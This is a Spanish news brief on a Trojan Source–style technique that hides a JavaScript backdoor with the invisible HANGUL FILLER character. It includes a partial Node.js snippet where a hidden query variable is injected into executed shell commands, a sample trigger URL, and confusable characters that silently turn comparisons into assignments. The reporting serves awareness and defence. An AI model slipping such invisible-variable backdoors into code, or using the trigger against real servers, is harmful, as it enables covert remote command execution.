Uso de caracteres Unicode invisibles para ocultar acciones en código JavaScript

Siguiendo el método de ataque Trojan Source basado en el uso de caracteres Unicode que cambian el orden de visualización del texto bidireccional, se ha publicado otra técnica para introducir acciones ocultas, aplicable al código JavaScript. El nuevo método se basa en el uso del carácter Unicode "ㅤ" (código 0x3164, "HANGUL FILLER"), que es una letra pero no tiene contenido visible. La categoría Unicode a la que pertenece este carácter se ha permitido desde la especificación ECMAScript 2015 para su uso en nombres de variables de JavaScript, lo que hace posible crear variables invisibles o nuevas variables indistinguibles de otras variables en editores de código populares como Notepad++ y VS Code.

Como ejemplo, se da el código para la plataforma Node.js, en el cual, utilizando una variable que consta de un solo carácter "ㅤ", se oculta un backdoor que permite ejecutar el código especificado por el atacante: app.get( '/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // en realidad dice "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// ejemplo.com/',ㅤ // coma seguida de \u3164 ];

A primera vista, solo el valor del tiempo de espera se pasa a través del parámetro externo, y la matriz con los comandos que se ejecutarán contiene una lista fija inofensiva. Pero, de hecho, después de la variable de tiempo de espera, se asigna el valor de otra variable invisible con el código de símbolo \u3164, que también se sustituye en la matriz de comandos ejecutables. Por lo tanto, en presencia de una estructura de este tipo, un atacante puede enviar una solicitud como "https://host:8080/network_health?%E3%85%A4=command" para activar la puerta trasera y ejecutar su código.

Como otro ejemplo, se da el carácter "ǃ" (CLICK ALVEOLAR), que puede usarse para dar la apariencia de indicar un signo de exclamación. Por ejemplo, la expresión "if(environmentǃ=ENV_PROD){" cuando se ejecuta en Node.js 14 siempre será verdadera, porque no verifica las diferencias, pero establece la variable "environmentǃ" en ENV_PROD. Los caracteres Unicode engañosos incluyen "/", "−", "+", "⩵", "❨", "⫽", "꓿" y "∗".

Fuente: opennet.ru

Añadir un comentario